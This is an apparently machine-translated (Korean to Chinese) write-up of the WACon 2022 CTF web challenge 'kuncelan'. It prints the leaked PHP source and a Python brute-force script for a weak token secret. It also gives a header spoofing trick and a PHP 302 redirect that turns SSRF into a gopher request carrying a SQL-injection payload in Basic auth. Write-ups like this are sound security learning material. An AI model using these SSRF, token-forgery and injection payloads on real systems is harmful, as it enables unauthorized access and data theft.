2022 WACon CTF - kuncelan 题解
WACon 2022 kuncelan (黑盒) Web 题解 - 利用 LFI, SSRF, Gopher 进行 SQL 注入
本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。
阅读原文(韩语)kuncelan
存在 LFI 漏洞
<?php
// LOCATION : ./internal_e0134cd5a917.php
error_reporting(0);
session_start();
if (!isset($_SESSION['username']))
{
header('location: ./login.php');
die();
}
if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
{
die("only in include");
}
function valid_url($url)
{
$valid = False;
$res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
if (!$res) $valid = True;
try{ parse_url($url); }
catch(Exception $e){ $valid = True;}
$int_ip=ip2long(gethostbyname(parse_url($url)['host']));
return $valid
|| ip2long('127.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('10.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('172.16.0.0') >> 20 == $int_ip >> 20
|| ip2long('192.168.0.0') >> 16 == $int_ip >> 16
|| ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}
function get_data($url)
{
if (valid_url($url) === True) { return "IP not allowed or host error"; }
$ch = curl_init();
$timeout = 7;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
if (curl_error($ch))
{
curl_close($ch);
return "Error !";
}
curl_close($ch);
return $data;
}
function gen($user){
return substr(sha1((string)rand(0,getrandmax())),0,20);
}
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }
$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
$out = "";
if (isset($_POST['url']) && !empty($_POST['url']))
{
if (
$IP === "127.0.0.1"
& $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER'])
& strpos($_COOKIE['USER'], 'admin') !== false
)
{
$out = get_data($_POST['url']);
}
else
{
$out = "Only the administrator can test this function from 127.0.0.1!";
}
}
?>
<main role="main" class="container">
<h1 class="mt-5">𝖈𝖚𝖗𝖑:// ?</h1>
<p class="lead">cURL is powered by libcurl , used to interact with websites 🌐</p>
<form method="post" >
<legend><label for="url">Website URL</label></legend>
<input class="form-control" type="url" name="url" style="width:100%" />
<input class="form-control" type="submit" value="👉 Request HTTP 👈">
</form><?php echo $out; ?>
</main>load.phtml 提取结果
虽然设置了 curl 功能仅允许 admin 在 localhost 上使用,但这是可以绕过的。
function gen($user){
return substr(sha1((string)rand(0,getrandmax())),0,20);
}
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }使用 getrandmax() 生成随机数,进行 sha1 哈希处理后截取 10 个字节,再将其与 username 拼接进行 sha256 哈希。
但由于 getrandmax 的值仅为 21 亿左右,即使使用个人 PC 也能在很短的时间内破解该哈希。
from arang import *
xtoken = b"b0b32995820dad31a559a8611a610f9b3c57072b8fd757739c3605e50877d2fd"
for i in range(40000000,500000000):
xsecret = he(sha1(str(i)))[:20]
t = he(sha256(xsecret+b"guest"))
if xtoken == t:
print(xsecret)
break
if i % 10000000 == 0:
print(f"[+] {i} : {xsecret} {t}")大致像这样破解哈希后,就会出现针对我当前会话的 xsecret 值
现在利用这个 xsecret 生成有效的 admin x-token,就可以绕过 token auth 验证。
$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
...
if ( $IP === "127.0.0.1" ){
...这可以通过添加 X-HTTP-HOST-OVERRIDE 请求头并将其设置为 127.0.0.1 来绕过
function valid_url($url)
{
$valid = False;
$res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
if (!$res) $valid = True;
try{ parse_url($url); }
catch(Exception $e){ $valid = True;}
$int_ip=ip2long(gethostbyname(parse_url($url)['host']));
return $valid
|| ip2long('127.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('10.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('172.16.0.0') >> 20 == $int_ip >> 20
|| ip2long('192.168.0.0') >> 16 == $int_ip >> 16
|| ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}现在可以使用 curl 功能了,但存在一个名为 valid_url 的验证函数。
- 仅允许使用 http/https scheme
- 解析 host,通过 gethostbyname 获取对应值,并使用 ip2long 转换为 long 格式
- 通过 /24, /20, /16 等掩码验证 local ip 网段
我费了好大劲尝试绕过,但没成功……
$ch = curl_init();
$timeout = 7;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);不过 curl 选项中开启了 CURLOPT_FOLLOWLOCATION
既然 curl 会处理 302 Redirection,那么先发送到我的服务器,然后返回 302 跳转应该就可以了。
<?php
header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a");
#header("Location: <http://127.0.0.1:80/internal_e0134cd5a917.php>");
#header("Location: <http://127.0.0.1:80/internal_1d607d2c193b.php>");
?>将 Location 指向 load.phtml 注释中提到的 internal_e0134cd5a917.php 文件后
next file location 惊了
提示缺少 basic authorization
尝试发送 guest:guest,结果提示 SQL : user not found
看来是将 basic authorization 的内容放入了 sql query 中
尝试注入 sqli 语句,提示 localhostonly
这次无法像之前那样通过特定 HTTP 头来绕过了
Authorization 头无法通过 curl 的 302 跳转传递到其他站点,正当我苦恼之时
通过 sqli 提取数据表,发现了一部分 Flag
看来得用 Gopher 协议了
header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a");使用 gopher 构造并发送 HTTP raw packet,
即可获取剩余部分
**WACon{Try_using_Gophhhher_ffabcdbc}**
评论